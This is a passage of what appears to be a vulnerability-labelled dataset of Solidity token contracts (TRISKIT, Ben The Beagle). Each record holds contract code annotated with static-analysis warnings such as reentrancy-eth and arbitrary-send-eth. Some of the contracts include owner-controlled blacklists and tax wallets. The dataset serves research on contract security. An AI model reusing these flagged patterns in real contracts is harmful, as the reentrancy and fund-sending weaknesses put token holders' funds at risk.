uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 726b45c\n\t\t// reentrancy-benign | ID: 1948fbe\n\t\t// reentrancy-eth | ID: 309f6cf\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 726b45c\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 726b45c\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 1948fbe\n\t\t// unused-return | ID: 475ab2c\n\t\t// reentrancy-eth | ID: 309f6cf\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1948fbe\n\t\t// unused-return | ID: 39ff5cf\n\t\t// reentrancy-eth | ID: 309f6cf\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1948fbe\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 309f6cf\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 1948fbe\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10153.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TRISKIT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 41167ba): TRISKIT._taxWallet should be immutable \n\t// Recommendation for 41167ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13fde28): TRISKIT._initialBuyTax should be constant \n\t// Recommendation for 13fde28: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 660ac7e): TRISKIT._initialSellTax should be constant \n\t// Recommendation for 660ac7e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: da1e2f5): TRISKIT._reduceBuyTaxAt should be constant \n\t// Recommendation for da1e2f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90ca475): TRISKIT._reduceSellTaxAt should be constant \n\t// Recommendation for 90ca475: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79381c2): TRISKIT._preventSwapBefore should be constant \n\t// Recommendation for 79381c2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MicroStrategy Cat\";\n\n string private constant _symbol = unicode\"$TRISKIT\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c73a28d): TRISKIT._taxSwapThreshold should be constant \n\t// Recommendation for c73a28d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67621e1): TRISKIT._maxTaxSwap should be constant \n\t// Recommendation for 67621e1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f0ea7ef): TRISKIT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f0ea7ef: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4b4269d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4b4269d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b3a94e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b3a94e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4b4269d\n\t\t// reentrancy-benign | ID: b3a94e1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4b4269d\n\t\t// reentrancy-benign | ID: b3a94e1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 99e32a3): TRISKIT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 99e32a3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b3a94e1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4b4269d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1811466): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1811466: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f6125d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f6125d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1811466\n\t\t\t\t// reentrancy-eth | ID: f6125d6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1811466\n\t\t\t\t\t// reentrancy-eth | ID: f6125d6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f6125d6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f6125d6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f6125d6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1811466\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f6125d6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f6125d6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1811466\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1811466\n\t\t// reentrancy-events | ID: 4b4269d\n\t\t// reentrancy-benign | ID: b3a94e1\n\t\t// reentrancy-eth | ID: f6125d6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fc1fd62): TRISKIT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for fc1fd62: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1811466\n\t\t// reentrancy-events | ID: 4b4269d\n\t\t// reentrancy-eth | ID: f6125d6\n\t\t// arbitrary-send-eth | ID: fc1fd62\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 754c11c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 754c11c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7e5718a): TRISKIT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7e5718a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b0adbaf): TRISKIT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b0adbaf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cd58002): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cd58002: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 754c11c\n\t\t// reentrancy-eth | ID: cd58002\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 754c11c\n\t\t// unused-return | ID: b0adbaf\n\t\t// reentrancy-eth | ID: cd58002\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 754c11c\n\t\t// unused-return | ID: 7e5718a\n\t\t// reentrancy-eth | ID: cd58002\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 754c11c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: cd58002\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10154.sol",
"size_bytes": 19519,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n\n return a % b;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(\n _owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n _owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint) external view returns (address pair);\n\n function allPairsLength() external view returns (uint);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint value);\n\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint);\n\n function balanceOf(address owner) external view returns (uint);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n\n function transfer(address to, uint value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint);\n\n function permit(\n address owner,\n address spender,\n uint value,\n uint deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Burn(\n address indexed sender,\n uint amount0,\n uint amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint);\n\n function price1CumulativeLast() external view returns (uint);\n\n function kLast() external view returns (uint);\n\n function burn(address to) external returns (uint amount0, uint amount1);\n\n function swap(\n uint amount0Out,\n uint amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract BENTHEBEAGLE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 609b4cf): BENTHEBEAGLE._name should be constant \n\t// Recommendation for 609b4cf: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Ben The Beagle\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 34d2c1b): BENTHEBEAGLE._symbol should be constant \n\t// Recommendation for 34d2c1b: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BEN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ea8f83b): BENTHEBEAGLE._decimals should be constant \n\t// Recommendation for ea8f83b: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: eedae77): BENTHEBEAGLE.marketingWalletDacc should be constant \n\t// Recommendation for eedae77: Add the 'constant' attribute to state variables that never change.\n address payable public marketingWalletDacc =\n payable(0x3Adc5B40d00aE402f47834dFD4784f5B63C189a2);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5bd511f): BENTHEBEAGLE.DevWallet should be constant \n\t// Recommendation for 5bd511f: Add the 'constant' attribute to state variables that never change.\n address payable public DevWallet =\n payable(0x0000000000000000000000000000000000000000);\n\n\t// WARNING Optimization Issue (immutable-states | ID: dcfe504): BENTHEBEAGLE.liquidityReciever should be immutable \n\t// Recommendation for dcfe504: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public liquidityReciever;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n address public immutable zeroAddress =\n 0x0000000000000000000000000000000000000000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: ebbef4d): BENTHEBEAGLE.feeUnits should be constant \n\t// Recommendation for ebbef4d: Add the 'constant' attribute to state variables that never change.\n uint256 public feeUnits = 10000;\n\n uint256[2] public wlete_Atokens = [_decimals, feeUnits];\n\n mapping(address => bool) public isExcludedFromFee;\n\n mapping(address => bool) public isMarketPair;\n\n mapping(address => bool) public isWalletLimitExempt;\n\n mapping(address => bool) public isTxLimitExempt;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 61879dd): BENTHEBEAGLE._totalSupply should be immutable \n\t// Recommendation for 61879dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ed99444): BENTHEBEAGLE.minimumTokensBeforeSwap should be immutable \n\t// Recommendation for ed99444: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);\n\n uint256 public _maxTxAmount = _totalSupply.mul(2).div(100);\n\n uint256 public _walletMax = _totalSupply.mul(2).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: d9b45ab): 